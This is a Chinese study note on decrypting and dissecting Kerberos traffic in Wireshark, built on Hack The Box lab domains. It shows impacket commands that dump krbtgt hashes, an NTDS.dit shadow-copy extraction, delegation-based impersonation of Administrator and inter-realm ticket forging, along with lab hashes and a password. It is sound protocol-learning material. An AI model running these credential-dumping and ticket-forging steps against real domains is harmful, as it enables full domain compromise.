流量解密
Kerberos 流量解密可以看到更多细节的同时也便于解决渗透过程中的报错问题。
keytab
解密不是使用 administrator 管理员用户的hash,重点是申请票据用户的 hash 以及 krbtgt 用户的 hash,还有所请求的服务的 hash
使用 administrator NTLM hash 生成 keytab 文件。
这里可以指定多次。
ktutil
ktutil
# 这里域名需要大写
ktutil: add_entry -key -p administrator@FLIGHT.HTB -k 1 -e rc4-hmac
Key for administrator@FLIGHT.HTB (hex): 43bbfc530bab76141b12c8446e30c17c
ktutil: wkt administrator.keytab
ktutil: exit
ktutil
ktutil: add_entry -key -p krbtgt@FREELANCER.HTB -k 1 aes256-cts-hmac-sha1-96
enctype must be specified if not using -f
ktutil: add_entry -key -p krbtgt@FREELANCER.HTB -k 1 -e aes256-cts-hmac-sha1-96
Key for krbtgt@FREELANCER.HTB (hex): 4e33b02ee45738a0db98c0747d8d41b7205f4f583c8f0591e20d67178b20511d
ktutil: add_entry -key -p DC$@FREELANCER.HTB -k 1 -e aes256-cts-hmac-sha1-96
Key for DC$@FREELANCER.HTB (hex): 561edbca437df7878b890f544efd54ed5a86443cf658ddd313ffb33464c537fe
ktutil: add_entry -key -p DC3$@FREELANCER.HTB -k 1 -e aes256-cts-hmac-sha1-96
Key for DC3$@FREELANCER.HTB (hex): b92a6afd91db36e1fb7bd1a6111835990aa1a525f47797150549a95c8fa79b99
ktutil: wkt aes256dcdc3krb.keytab
ktutil: exit
加密类型
-e 参数,三种 hash 类型,一个流量可能需要多个类型,重点就是 23 和 18。
- aes256-cts-hmac-sha1-96,18
- aes128-cts-hmac-sha1-96,17
- rc4-hmac, 23
https://web.mit.edu/kerberos/krb5-latest/doc/admin/enctypes.html#enctype-compatibility “Encryption types — MIT Kerberos Documentation”
https://web.mit.edu/kerberos/krb5-latest/doc/admin/conf_files/kdc_conf.html#encryption-types “kdc.conf — MIT Kerberos Documentation” 这里显示的类型更多
keytab认证
认证是写入的域名也需要大写
kinit 区分大小写,需要使用 klist 限制的主体名称。在这种情况下,用户名是小写的,域名是大写的。
kinit -V -k -t administrator.keytab -f administrator@FLIGHT.HTB
Using default cache: /tmp/krb5cc_1000
Using principal: administrator@FLIGHT.HTB
Using keytab: administrator.keytab
Authenticated to Kerberos v5
keytab.py
wget https://raw.githubusercontent.com/dirkjanm/forest-trust-tools/master/keytab.py
impacket-secretsdump flight.htb/administrator@10.10.11.187 -hashes :43bbfc530bab76141b12c8446e30c17c -just-dc-user krbtgt -dc-ip 10.10.11.187
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6a2b6ce4d7121e112aeacbc6bd499a7f:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:fb234268e90162081d11b7e9d5097091be02f42c25eec0d4bbf8a2442e9d40d0
krbtgt:aes128-cts-hmac-sha1-96:19d9549f8e011231c9a755e0b7d7695f
krbtgt:des-cbc-md5:9bf8155161a8e09e
[*] Cleaning up...
keys = [
(23, '6a2b6ce4d7121e112aeacbc6bd499a7f'),
(18, 'fb234268e90162081d11b7e9d5097091be02f42c25eec0d4bbf8a2442e9d40d0'),
(17, '19d9549f8e011231c9a755e0b7d7695f'),
(18, 'fb234268e90162081d11b7e9d5097091be02f42c25eec0d4bbf8a2442e9d40d0'),
(23, '19d9549f8e011231c9a755e0b7d7695f')
]
这里密钥也可以写入多个,用户名以及域名并不影响解密。
python3 keytab.py krbtgt.keytab
但会影响显示的内容,例如下图,不区分就只会显示 krbtgt。

hash
使用 rubeus 生成 hash 值,
.\Rubeus.exe hash /password:lab /user:IISSvc /domain:prod.corp1.com
[*] Action: Calculate Password Hash(es)
[*] Input password : lab
[*] Input username : IISSvc
[*] Input domain : prod.corp1.com
[*] Salt : PROD.CORP1.COMIISSvc
[*] rc4_hmac : 2892D26CDF84D7A70E2EB3B9F05C425E
[*] aes128_cts_hmac_sha1 : B17020910D7DCF50AF22EF197A3AAD46
[*] aes256_cts_hmac_sha1 : 9728871CB5E66431961126CE4023E81E8106E5595B40C1CFB03F4DA1EEC3D47D
[*] des_cbc_md5 : 98FEDFC1C81A2CEC
默认情况下,盐始终是
https://www.thehacker.recipes/ad/movement/kerberos/delegations/unconstrained
- For users: 大写 FQDN + 区分大小写的用户名 =
DOMAIN.LOCALuser - For computers: 大写 FQDN + 硬编码
host文本 + 小写 FQDN 主机名,不带尾随$=DOMAIN.LOCALhostcomputer.domain.local(usingDOMAIN.LOCAL\计算机$account)
secretsdump
chudamax 改动的脚本 https://www.chudamax.com/posts/kerberos-102-overview/#renewable-tickets
wget https://raw.githubusercontent.com/chudamax/kerberos102/master/scripts/secretsdump2keytab.py
impacket-secretsdump hpbank.local/administrator:'P@ssw0rd2'@192.168.0.122 -just-dc -outputfile hpbank
python3 secretsdump2keytab.py -i hpbank.ntds.kerberos,dev.hpbank.ntds.kerberos,test.ntds.kerberos -o keytab.keytab
import wireshark
此种导入方法导入是累计的,但如果想只留一个 keytab 文件需要取消解密再选中,或者更改文件后重新打开 wireshark 就只会显示一个 keytab 解密的效果。

导入 keytab 文件,流量已解密。

Reference
利用**Wireshark 解密 Kerberos 的加密字段 **
Kerberos身份验证流程及Kerberos流量解密 - zpchcbd - 博客园 参考
https://wiki.wireshark.org/Kerberos Wireshark 官方文档列出了解密流量的几种方法
微信公众号 中提取域用户 hash 的方法,但实际操作不用这么麻烦。
#域控导出ntds.dit和system.hive
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hive
vssadmin delete shadows /all
git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract/ && python -m pip install pycryptodome
#kali esedbexport ,ntds.dit和system.hive 同目录
esedbexport ntds.dit
python dskeytab.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.6 system.hive ./ 1.keytab
#获取到1.keytab后,把该文件导入到Wireshark的KRB5协议下,并勾选"Try to decrypt Kerberos blobs"
#加载完keytab文件后,wireshark会自动对当前的数据包进行解密尝试,如果解密成功,就会是显示蓝色,不成功就是黄色。
AS_REQ
用用户hash加密时间戳作为value发送给KDC的AS。
pre-authentication disable
域用户想要访问域内某个服务,或者登录域内机器,输入用户名密码,本机就会向KDC的AS(Authentication Service)发送一个AS-REQ请求,设置了Do not require Kerberos pre-authentication 属性的用户请求内容如下。

- pvno: 5,Kerberos版本号
- msg-type: krb-as-req (10),类型,表示AS-REQ

- padata: 1 item,认证信息。其类型有很多种可参考[MS-KILE]: Pre-authentication Data | Microsoft Learn
由于这里是设置了Do not require Kerberos pre-authentication的用户发起的AS-REQ,所以padata只有一部分。

这是启用PAC支持的扩展。PAC(Privilege Attribute Certificate)并不在原生的kerberos里面,是微软引进的扩展。include-pac: True表示返回的票据中携带PAC。
req-body
- kdc-options: 50800000,一些flag字段。

- cname:PrincipalName 类型。PrincipalName包含type和value。理解为登录用户名信息。

cname请求的用户存在不存在返回包不同,可用于用户名枚举。
svc-alfres类型是kRB5-NT-PRINCIPAL,在AS-REQ中即使用户名是krbrgt,类型依然不变。

TGS_REQ中的sname
cifs的name-type: kRB5-NT-SRV-INST (2)

RFC 4120 - The Kerberos Network Authentication Service (V5) RFC412-文档对这些类型有解释
| Name Type | Value | Meaning |
|---|---|---|
| NT-UNKNOWN | 0 | Name type not known |
| NT-PRINCIPAL | 1 | Just the name of the principal as in DCE,or for users |
| NT-SRV-INST | 2 | Service and other unique instance (krbtgt) krbtgt,cifs |
| NT-SRV-HST | 3 | Service with host name as instance(telnet, rcommands) |
| NT-SRV-XHST | 4 | Service with host as remaining components |
| NT-UID | 5 | Unique ID |
| NT-X500-PRINCIPAL | 6 | Encoded X.509 Distinguished name [RFC2253] |
| NT-SMTP-NAME | 7 | Name in form of SMTP email name(e.g., user@example.com) |
| NT-ENTERPRISE | 10 | Enterprise name - may be mapped to principal name |
- realm: HTB.LOCAL,域名
- sname:PrincipalName 类型,服务端身份,所在域名称
AS-REQ中sname始终为krbtgt。

- till: Oct 13, 2023 14:42:02.000000000,到期时间
- rtime: Oct 13, 2023 14:42:02.000000000,绝对到期时间
- nonce: 1307284136 随机生成数

- etype,加密类型,Kerbrtue工具用户名枚举会发送三种类型。

共有以下类型。
des_cbc_crc = 1,
des_cbc_md4 = 2,
des_cbc_md5 = 3,
des3_cbc_md5 = 5,
des3_cbc_sha1 = 7,
dsaWithSHA1_CmsOID = 9,
md5WithRSAEncryption_CmsOID = 10,
sha1WithRSAEncryption_CmsOID = 11,
rc2CBC_EnvOID = 12,
rsaEncryption_EnvOID = 13,
rsaES_OAEP_ENV_OID = 14,
des_ede3_cbc_Env_OID = 15,
des3_cbc_sha1_kd = 16,
aes128_cts_hmac_sha1 = 17,
aes256_cts_hmac_sha1 = 18,
rc4_hmac = 23,
rc4_hmac_exp = 24,
subkey_keymaterial = 65
pre-authentication enable
未开启预认证的帐户AS-REQ请求会少一部分PAC的内容,这里补充上。

- pA-ENC-TIMESTAMP,按照etype的加密类型,使用用户hash加密时间戳,作为value发送给KDC的AS。然后KDC从活动目录中查询出用户的hash,使用用户hash解密,获得时间戳,如果能解密,且时间戳在一定的范围内,则证明认证通过返回 TGT票据和enc_part(里面包含有session-key)。
freelancer 靶机
pA-ENC-TIMESTAMP 解密后的内容:

使用用户 hash 加密的时间戳。
patimestamp: Jun 14, 2024 08:08:47.000000000 EDT
pausec: 90331
AS_REP
AS收到客户端发送的AS-REQ请求后,使用用户hash解密。解密成功后发送AS-REP响应包,主要是TGT和enc-part这两部分。

msg-type: krb-as-rep (11),AS-REP
crealm: HTB.LOCAL,域名
cname与AS-REQ相同,即用户名
ticket
TGT的加密部分,是使用krbtgt的密码hash加密得到的。如果得到krbtgt的hash、sid可以伪造一个TGT,即黄金票据。
- tkt-vno: 5 票据格式版本号
- realm: HTB.LOCAL
- sname 票据所属服务端身份
- enc-part 用KDC的密钥加密的票据部分
enc_part
这部分可以解密,解密的 key 是用户NTLMhash值,session key 就是用户 hash 加密的。解密后得到Encryptionkey,Encryptionkey里面最重要的字段是session key。
总结
TGT的加密部分enc_part使用kybtgt帐户的NTLM Hash加密,主要包含 Session Key、请求用户名cname、域名crealm、认证时间authtime、认证到期时间endtime、authorization-data等信息。
这部分内容在RFC4120称为EncTicketPart RFC4120
-- Encrypted part of ticket
EncTicketPart ::= [APPLICATION 3] SEQUENCE {
flags [0] TicketFlags,
key [1] EncryptionKey,
crealm [2] Realm,
cname [3] PrincipalName,
transited [4] TransitedEncoding,
authtime [5] KerberosTime,
starttime [6] KerberosTime OPTIONAL,
endtime [7] KerberosTime,
renew-till [8] KerberosTime OPTIONAL,
caddr [9] HostAddresses OPTIONAL,
authorization-data [10] AuthorizationData OPTIONAL
}
最外层的enc_part使用发起请求的用户的NTLM Hash加密Logon Session Key得到,主要包含认证时间authtime、认证到期时间endtime、域名screalm、请求服务名sname、协商标志flags、Logon Session Key以及 PAC等信息。TGT也存在Login Session Key(key)。
freelancer
查看解密后的 AS_REP 响应。
ticket
如下 ticket 解密后的内容

KrbCredInfo ::= SEQUENCE {
key [0] EncryptionKey, sessionKey
prealm [1] Realm OPTIONAL, //对应的是realm
pname [2] PrincipalName OPTIONAL, // 对应的是cname
flags [3] TicketFlags OPTIONAL,
authtime [4] KerberosTime OPTIONAL, //not require
starttime [5] KerberosTime OPTIONAL, //
endtime [6] KerberosTime OPTIONAL,
renew-till [7] KerberosTime OPTIONAL,
srealm [8] Realm OPTIONAL, //对应的是realm
sname [9] PrincipalName OPTIONAL, // 对应的是sname
caddr [10] HostAddresses OPTIONAL
}
enc-part
外部的 enc-part,其中可以看到 session key 就是 encASRepPart_key。enc_part 使用用户的 hash 加密。

roasting
asreproasting
asreproasting 爆破的是什么字段。
AS_REP 中 enc_part 中的 session key,该字段使用用户 hash 加密。
kerberoasting
kerberoasting 爆破的是什么字段。
TGS_REP 中 ticket 的 enc_part
ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密, 并使用攻击者和服务帐户共同商定的加密算法。然后返回ST
getST
借用 freelancer 靶机来学习 Kerberos 认证。
impacket-getST -spn 'HOST/dc.freelancer.htb' -impersonate Administrator -dc-ip '10.10.11.5' 'freelancer.htb/DC3:Summer@2024!'
在这个命令中:
- 请求用户:DC3$,机器帐户。
- 请求服务:cifs/dc.freelancer.htb,DC 主机的 SPN。
- 模拟用户:Administrator
PrincipalsAllowedToDelegateToAccount
在 DC 机器帐户将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性设置已控制的服务帐户 DC3。这样允许 DC3 对 DC1上的服务进行委派。
操作上使用 Set-ADComputer cdmlet 配置 PrincipalsAllowedToDelegateToAccount 属性。
Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount | select PrincipalsAllowedToDelegateToAccount
PrincipalsAllowedToDelegateToAccount
------------------------------------
{CN=DC3,CN=Computers,DC=freelancer,DC=htb}
Get-ADComputer DC -Properties * | select -expand msDS-AllowedToActOnBehalfOfOtherIdentity | fl
Path :
Owner : BUILTIN\Administrators
Group :
Access : FREELANCER\DC3$ Allow
Audit :
Sddl : O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3542429192-2036945976-3483670807-11601)
KerberosEncryptionType
freelancer 例子中添加DC3机器时未指定 KerberosEncryptionType ,导致请求 DC3 服务返回的 ticket 只有 rc4 加密类型。
Get-ADComputer DC -Properties * | select -expand KerberosEncryptionType
RC4, AES128, AES256

getST debug
impacket 可以开启 debug 模式看到的细节更多
kali@kali:~/Documents/HTBox/Freelancer$ faketime -f '+5h' impacket-getST -spn 'HOST/dc.freelancer.htb' -impersonate Administrator -dc-ip '10.10.11.5' 'freelancer.htb/DC3:Summer@2024!' -debug
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[-] CCache file is not found. Skipping...
[+] The specified path is not correct or the KRB5CCNAME environment variable is not defined
[*] Getting TGT for user
[+] Trying to connect to KDC at 10.10.11.5:88
[+] Trying to connect to KDC at 10.10.11.5:88
[+] TGT session key: bf837b85dbe53ce415f5b7925d24c5f6b9055674050581e30ad0606940949090
[*] Impersonating Administrator
[+] AUTHENTICATOR
Authenticator:
authenticator-vno=5
crealm=FREELANCER.HTB
cname=PrincipalName:
name-type=1
name-string=SequenceOf:
DC3
cusec=628700
ctime=20240614120847Z
[+] S4UByteArray
0000 01 00 00 00 41 64 6D 69 6E 69 73 74 72 61 74 6F ....Administrato
0010 72 66 72 65 65 6C 61 6E 63 65 72 2E 68 74 62 4B rfreelancer.htbK
0020 65 72 62 65 72 6F 73 erberos
[+] CheckSum
0000 BB FC 43 0B F5 19 55 22 2F 19 06 FC 21 1F 65 B6 ..C...U"/...!.e.
[+] PA_FOR_USER_ENC
PA_FOR_USER_ENC:
userName=PrincipalName:
name-type=1
name-string=SequenceOf:
Administrator
userRealm=freelancer.htb
cksum=Checksum:
cksumtype=-138
checksum=0xbbfc430bf51955222f1906fc211f65b6
auth-package=Kerberos
[+] Final TGS
TGS_REQ:
pvno=5
msg-type=12
padata=SequenceOf:
PA_DATA:
padata-type=1
padata-value=0x6e8204f7308204f3a003020105a10302010ea20703050000000000a382046c6182046830820464a003020105a1101b0e465245454c414e4345522e485442a2233021a003020101a11a30181b066b72627467741b0e465245454c414e4345522e485442a382042430820420a003020112a103020102a28204120482040e6dc4d42ee74efa8a6533cbb3935b81ba81ff19223b27e82c17b5e4817227cef67895d207fd813d672bdd57fc371380783d4f3e8af50869672fcd90461eac50cd66943dc66f757027e224040b3b55b16e586f79486073b8b1c57cbf0fca2dd97c85c1e17890b09d78228610fbe412026ce022b22284435aa359b27270ae35c3a52e2bf29f879f2d2ddeaf66f15fc81229622467162cb093205b2d11ca944c010cf597c6e43139e05e3dbc4f4d7ad5fa2811eeb78bee53a6f94b0a8b031517737c5a66193cb4af71fe066282e4a38cbbdffa5bc933f4557bdd14b25c7a39a3376cb2222e1cccdc58854d40c8f4266bf6d3894ec47efa4db3fa313498d19aec2ee183ec98356f0e051b7306e8e68a383ff9a613fc96d4e6b7c641f5fe845e18c960d606ae07253bff3c5d29f7e241c8df4193f75c6f2148e84c9c54bb4738ee771ed9c3556f6f64a561fdb2b2ecf26744ee116cd18cd7b95ec68b2508e4d1c71be9e5ada1e306b7a76ccf937db38a32881af503a54c422aa24df8ec9316e9c7ae0d060333bffaca4ac724a3364d27addcedaf120766431c03b97fe125c9a4ecbaf4c0b0de081418d640b93dc149cca0ca2806430bdedf96f0a046f0f00b62787ca4241790531e020ab33e4d64ecf8fe88a99eb964e1c486da1ab4f07cc5356f2e8b09f524b9260bfbe0d6c189d88e4dde39c6751681ee0575030e386b4fbe208767493768044ac1d894eadd85c941037cbfcba849704930f0d4a17ca10fb92c8f818ad8a8ff4f4e6312a4d6f191dc5c6e2e92840f61c1eb82a278d26a0fc21a3e73156898a665697903b92f2ab93d90824a1d5746f1aecf53be43a3e402688f25e5cbe7e87d69c3dfb0dedcaa2c83f3ddadedc44b0ec65fd0605fe989d67c03eac745dfee977a57c8e88eff688f257eaf8ed37023cc3e6c3149426d0d6159b6c5d15191f310716aa93650a8491d73ecc443a8a138c4ff73a75c4aac7a32f7ef2e5c4555f74feecdfb93b688cdda29fbf47de9ad2a0803b0aa671a2708f8c7f8ad21a9152e50351f20180458bde262bc72da05fa7712cbe3d9183b365151ecd73d9350125677eee8bdce97aaac6f632b1856090c5af9f92b558140962834429dd22ef8ad6fd25f7f51bfc14d575866d389f94aa04818fe49d6db9d52f39a915b93aed0a68298f26f7b0d02de67e6d77407d479709d25a3f7488b2678bdc2ba5901735d74f713603e1e17ee2b498f53ba987c5bfcdc68a53743b60a58175b5fd242d3a3e46c5d5c0454e6b6fbbd61b9b68a745ab5e4b89b8463972072229d0d33fa358560f17868c1df8580d0a5d4b3d59140b6a75941c2d66772e46a7810ed1e079f87c23adc2dece040490ded9cc98de9862a6a8fc1fe9d9f31cdc2b69878926f07c42173341ff18c2582d57c823623d8e4c96a2f81983db31192e88254d83db212d0cc1e03cd2dc1497a355c7cfd93a46e306ca003020112a26504632e1a2995d1eb6e05e11abdb10faeb1ba6737fb0eb2a9a57b6284ecd349c4bf923cea86dabed8e04772435fecab86ed4f9cd2a263a60b1469b5a6d8e81f87001ee8b002630c1f5c1aa250a6d9797a9fb88ec8c1c5e0a5e4b3c1eaab820af0a868b68765
PA_DATA:
padata-type=129
padata-value=0x3058a01a3018a003020101a111300f1b0d41646d696e6973747261746f72a1101b0e667265656c616e6365722e687462a21c301aa0040202ff76a1120410bbfc430bf51955222f1906fc211f65b6a30a1b084b65726265726f73
req-body=KDC_REQ_BODY:
kdc-options=1082195968
realm=FREELANCER.HTB
sname=PrincipalName:
name-type=0
name-string=SequenceOf:
DC3
till=20240615120847Z
nonce=301938604
etype=SequenceOf:
18 23
[*] Requesting S4U2self
[+] Trying to connect to KDC at 10.10.11.5:88
[+] TGS_REP
TGS_REP:
pvno=5
msg-type=13
crealm=freelancer.htb
cname=PrincipalName:
name-type=1
name-string=SequenceOf:
Administrator
ticket=Ticket:
tkt-vno=5
realm=FREELANCER.HTB
sname=PrincipalName:
name-type=0
name-string=SequenceOf:
DC3
enc-part=EncryptedData:
etype=23
kvno=2
cipher=0x9cc9ca5361da00f5b7a6207260ab79c762291880d84390de6faa1577324b88c4a48db7fe64ddfaa46d834b9a183dc9891f47dfe2ca1778654761fcbe52cdc3b4a194c161d276d106293effbb073878ac58cf94140e0d3ce8a7b9266d19e38eedb3bfda2b5a2ca6d186a06a2d0db7450af54522f1d975f5e7a84e50881c5f22eac325c4b84881250bfc84ea7af8b187e498b8e83115d3714746142ffdf00af02475c841f7c3f51d92b575c021e8f25e86f680806b28828657905363e636d3b608d32cdf9b5e0a0f96d6400401630c35b817ba64a9ef6217077720624c90b01665e8d9e7c46206a3b52ef50a7bd6c28c217d8f9dc91e5eb7951c871bb0697af53321b4859f420b9e763e73cff25c718602a0cf008d1445208c6c2ecff4bf2c89297beb21df65481244b0ff46081f721f44f929f8f5825e3b2761a3c572f30445c5836ade9343263453ea77309824a66628718a25fe5add72ff9568c0981776d9dc697098b991a1491ea90cb11812905ef054293ab5460948d667f15fc63cea5df571d8052d64947839c71c1fee6b7b02fa0947a33d2f0b19fa8f79b9d4cfb8d172f6f92ad93e923ac067b45fc700e8844232e4d89bba7481f61c74fc7bafb44e5a13c6d1bb74b8c5bef2fec6d94e263750e742389977cdf0da6a82b6e9f1ecb846bd1cc5e4c044d85963f9a1d17452afb5d0e3020b0f6b8d691aeb2ad67fe043179814436e31e70e29279d0b639dc75ce5ce641d40f62b10b4735940af82b9958f3a8ad1c88fdd8581e486b9b2e7a0a803922a40780744537f34b36e02248ba7fd3e49ae4fe94d099a3fcaba7133cea289d159c5b0056adfc8f70af2e71edbad5d061dcd9f3a7ee4403f8394603776dc4e7b91e45fdb2448020b5e8530852d30c0a77dd0710cc83c26055d67bcc6ae68eb796013696f16e823f64b7967faccfff46a11cf35b7cb66287ff8cd2adb34528b16eedc130d3e905d91dcd760901b30e9a9b35e910dfb850552f9929129c0a03ec874aa26a3c6236bd9d1b413efd75b2674c813c54973d0f09b264a5fd7925f1ccda2e557e0c111a02090ee517a7318bf790391fbad3412991c5e9f4577cceb6cd46a8a00d96551f21c905aa1c66ff14baed534c3092ff3b990132df20a31787e6e4bb606d374412789149f083b75ffffbcd226965b375a48513711b88501b31360fd11bb99569a1554b02a82671a6116ded111d22dfe1da0378f07d691772f6cdcb4a7f01a23155ddd8073a9ae874164c637a94628ae49c4649610ced3414b37f9a9624af67fae0fae6ab2934dcfbf4679424477109116b87938e8c8dec6fba45c9d10ac966776108095cf0a47cb4780df5d52e18431bdc862bafa7f14e53da7797f9f83fbcfe8edb4b787263062e2548e36eeb87971b6ec210084423bc01fd6f16ae326371fbc2b5f6fe4d0a3734dd2bf09596b7f3d028bf14fb9daaf45d2d2cbe5eefc0dcb684224a403c20f45eeb593309caaa57f7072b3285ddd79c9c9a4a856cceb0abc8b811d895281a930553138a9b65b19b7e78f53366dc05c2b0155e0438d7556a7d5743f7785c17dd4d72bd9b1ded7f6e5840c649b1bc2c87c6dec6b3677cb978532e5e542822e1b70718ac88cda2b3cc5dda017ea3306dcb03f7e6916a91bc748534ea0621c239de75d99fa6eb196e8b9115548f743368f82a68879ffc4d7
enc-part=EncryptedData:
etype=18
cipher=0xcd213be7927874dd8bd823fd7b65180b101512f737f4cdc8d8554b5cd6341f0b899f9650bced827ab91699c568330e4f83b96589c814aa4b2b96299ef0fc06a1c588e0f06915a866918054aba234bad0fa3a2fb12f54eeb41f0530a8071d72fccb0b3721c03e4ed7e654db0dc6d937f9bd69812a058175fd95297c592ac0da7356bb454fcb7492c86328ed106cb39932b3097427b087783b79eea9191a818401bd53a41b803215eaeae165bc64b581c7222a82528f4bb485fddd284193702c5a97658598bc3db629945fb2a49aba6ae285018c85239c912f6025b5e76e6c9822f247c1c65d6b1bd7ce17f0db4a42baff35991c239b68c810b7fd404077fd6fcb3131
[*] Requesting S4U2Proxy
[+] Trying to connect to KDC at 10.10.11.5:88
[*] Saving ticket in Administrator@HOST_dc.freelancer.htb@FREELANCER.HTB.ccache
正常的 TGS
impacket-getST -spn 'HOST/dc.freelancer.htb' -dc-ip '10.10.11.5' 'freelancer.htb/DC3:Summer@2024!' -debug
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[-] CCache file is not found. Skipping...
[+] The specified path is not correct or the KRB5CCNAME environment variable is not defined
[*] Getting TGT for user
[+] Trying to connect to KDC at 10.10.11.5:88
[+] Trying to connect to KDC at 10.10.11.5:88
[+] TGT session key: 0aa91d672a0e88205e38156447c99728e04c469ce481d6bcd45a05f95e11b0d5
[*] Getting ST for user
[+] Trying to connect to KDC at 10.10.11.5:88
[*] Saving ticket in DC3@HOST_dc.freelancer.htb@FREELANCER.HTB.ccache
TGS_REQ

PA-DATA
- AP_REQ
这部分会携带AS_REP里面获取到的TGT票据,KDC校验TGT票据,如果票据正确,就返回TGS票据。

authenticator 是由上一步 AS-REP 返回的 Logon Session Key 加密的时间戳

- PA_FOR_USER

该值类型是S4U2SELF,是一个唯一的标识符,该标识符指示用户的身份。该唯一标识符由用户名和域名组成。
S4U2proxy 必须扩展PA_FOR_USER结构,指定服务代表某个用户(图片里面是Administrator)去请求针对服务自身的kerberos服务票据。
- PA_PAC_OPTIONS
图中共有两次 TGS_REQ,这是第二次 TGS_REQ 请求
类型是 PA_PAC_OPTIONS。如下图显示正在资源委派: resource-based-constrained-delegation: True

REQ_BODY

- sname
这个是要请求的服务,TGS_REP获得的ticket是用该服务用户的hash进行加密的。
如果指定的服务是krbtgt,那么拿到的TGS票据是可以当做TGT票据用的。
- AddtionTicket
附加票据,在第二次 TGS_REQ 请求中

在S4U2proxy请求里面,既需要正常的TGT,也需要S4U2self阶段获取到的TGS,那么这个TGS就添加到AddtionTicket里面。
导入 keytab 解密后内容如下图:

此时查看第一个 TGS-REP 响应,与上图内容相同,正是 S4U2self 阶段获取到的TGS。

跨域PAC
父域:corp1.com
fqdn:rdc01.corp1.com
impacket-ticketer -nthash "66ce131d84f65ca8cde8d3b2815e7c34" -domain-sid "S-1-5-21-634106289-3621871093-708134407" -domain "prod.corp1.com" -extra-sid "S-1-5-21-1587569303-1110564223-1586047116-519" -spn "krbtgt/corp1.com" "hax"
KRB5CCNAME=./hax.ccache impacket-getST -k -no-pass -debug -spn "CIFS/rdc01.corp1.com" "corp1.com/hax"
使用伪造的 trsut key 请求服务票据的流量。PAC 信息在 TGS_REQ 中的 ticket-> enc_part -> encTicketPart -> authorization-data -> Type: Logon Info (1)。PAC_LOGON_INFO:

TGS_REP

ticket
这个ticket用于AP_REQ的认证。其中里面的enc_part是加密的。在AS_REQ请求里面是,是使用krbtgt的hash进行加密的,而在TGS_REQ 里面是使用要请求的服务的hash加密的。服务的票据 ST service ticket。
如下图未导入包含此次所请求服务 DC hash 的 keytab,黄色代表解密失败。只在第二次 TGS-REP 中是请求服务加密的票据,第一次为 DC3 用户的 TGT。

导入 DC 服务 hash keytab之后,解密成功。如下显示了解密所用的 keytab principal主体,也就是服务主体。

enc_part
看 ticket 中的加密部分,其中有 Server Session Key、请求的用户名 cname Administrator、域名 cream、认证时间 authtime、认证到期时间 endtime、authorization_data。

enc_part
与 ticket 中的 enc_part 不同,用于确保客户端和 KDC 下一阶段的通信安全,使用 AS_REP 中的 Logon Session Key 加密。
但是外层的 enc_part 内容与 ticket 中的 enc_part 大部分内容相同。key值也相同。
解密如下:
蓝字可以看到 Decrypted keytype 18 usage 8 using learnt encTicketPart_key in frame 16 (id=16.1 same=3) frame 16 就是 AS-REP,也就是使用其中的 session key 加密。

该 session key 用来作为下一阶段的认证密钥。
keytype: 23
keyvalue: 722259b263be9aac9c72de93d9ce1d11
S4U2SELF
- S4U2Self
Service for User to Self
第一次 TGS-REQ 请求。

如上图服务 DC3 使用 S4U2self 代表 Administrator 向服务 DC3 自身请求票据。该服务将填写 PA_FOR_USER 数据结构,类型为S4U2SELF,并将KRB_TGS_REQ消息发送到TGS。
作用
S4U2self协议允许服务可以代表任意用户请求服务自身的 Kerberos 服务票据。
服务可以获得用户的授权( 可转发的用户TGS票据),然后将其用于后期的认证(主要是后期的s4u2proxy)。这里面很重要的一点是服务代表用户获得针对服务自身的kerberos票据这个过程,服务是不需要用户的凭据的。
S4U2Self(用用户的TGT向KDC请求用户的可转发的ST1,再用这张ST1去发起S4U2proxy请求。) 通过此扩展可以拿到一张标识任意用户身份的ST,它的作用其实是协议转换。有时用户会通过其他协议(例如NTLM或基于表单的身份验证)对服务进行身份验证,因此他们不会将TGS发送给服务。在这种情况下,服务可以调用S4U2Self来要求身份验证服务为其自身的任意用户生成TGS,然后可以在调用S4U2Proxy时将其用作依据。例如网站A服务器可以使用它去向KDC请求一张用户B身份的ST1,网站A服务器再用这张ST1去发起S4U2proxy请求。
forwardable
这里请求的票据都是可转发的。daiker文章中所说由于服务1未设置 TrustedToAuthForDelegation 和msDS-AllowedToDelegateTo,这个票据应当是不可转发。不过在基于资源的约束委派,不可转发的服务票据依然可以通过 S4U2Proxy 阶段对其他服务进行委派认证。
Get-ADComputer DC3 -Properties * | select TrustedToAuthForDelegation
TrustedToAuthForDelegation
--------------------------
False

TGS-REP 返回 Ticket 也是可转发的

S4u2Proxy
- S4U2Proxy
Service for User to Proxy
S4U2proxy协议允许服务使用 S4U2Self 获得ST服务票据,代表任意用户获取另一个服务的服务票据
第二次 TGS-REQ 请求。S4u2Proxy 的 TGS-REQ 包会增加一个 additional_tickets。该字段内容就是上一步利用 S4u2Self 请求的 ST。

s4u2proxy 使得服务1可以使用 S4U2SELF 阶段获得的授权票据,然后用该TGS(放在AddtionTicket里面)向KDC请求访问服务2的TGS,并且代表用户访问服务2,而且只能访问服务2。
Reference
AS_REQ & AS_REP - windows protocol
Kerberos认证流程数据包分析 - Yangsir34 - 博客园
域渗透-Kerberos认证 - F0rmat’s Blog 比较全面还有 AP_REQ 和 AP_REP
谢公子域渗透攻防指南
Kerberos 102 - Overview | I understand 对协议浏览分析的英文文章,详细可看